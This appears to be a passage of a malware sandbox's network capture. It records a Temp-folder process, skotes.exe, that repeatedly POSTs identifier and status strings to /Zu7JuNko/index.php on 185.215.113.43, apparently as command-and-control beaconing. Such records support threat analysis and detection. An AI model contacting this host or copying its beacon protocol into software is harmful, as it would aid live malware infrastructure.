Nov 18, 2024 04:44:33.988907099 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:34.115802050 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48814 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:34.618100882 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:34.744761944 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48814 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:44:44.821501017 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:44:52.504966021 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:44:52.632122993 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48832 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:45:02.729638100 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:12.825218916 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:22.922004938 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:33.018101931 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:43.030025959 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:45:53.124586105 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 18, 2024 04:46:13.511387110 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:46:13.639462948 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48913 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:46:35.606405020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:46:35.733365059 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48935 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:46:36.220369101 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:46:36.346940994 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48936 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	64886	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:37.537612915 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:38.464055061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	64888	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:40.100032091 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:40.997256994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	64891	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:42.527539015 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:43.433516026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	64892	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:45.073448896 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:45.961646080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	64893	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:47.504798889 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:48.414227962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	64894	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:50.057463884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:50.977292061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	64896	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:52.498512983 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:53.394821882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	64897	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:55.040416956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:55.959264994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	64898	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:57.490154028 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:58.394212961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	64900	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:00.026237965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:00.940380096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	64901	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:02.463087082 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:03.373743057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	64912	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:05.004693031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:05.905478001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	64913	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:07.419364929 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:08.331326962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	64914	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:09.950700998 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:10.848593950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	64916	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:12.477622986 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:13.371700048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	64917	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:15.017993927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:15.921717882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	65451	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:17.440742970 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:18.345076084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	65453	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:19.972174883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:44:20.879503012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	65454	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:44:22.409507036 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:44:23.323848009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:44:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

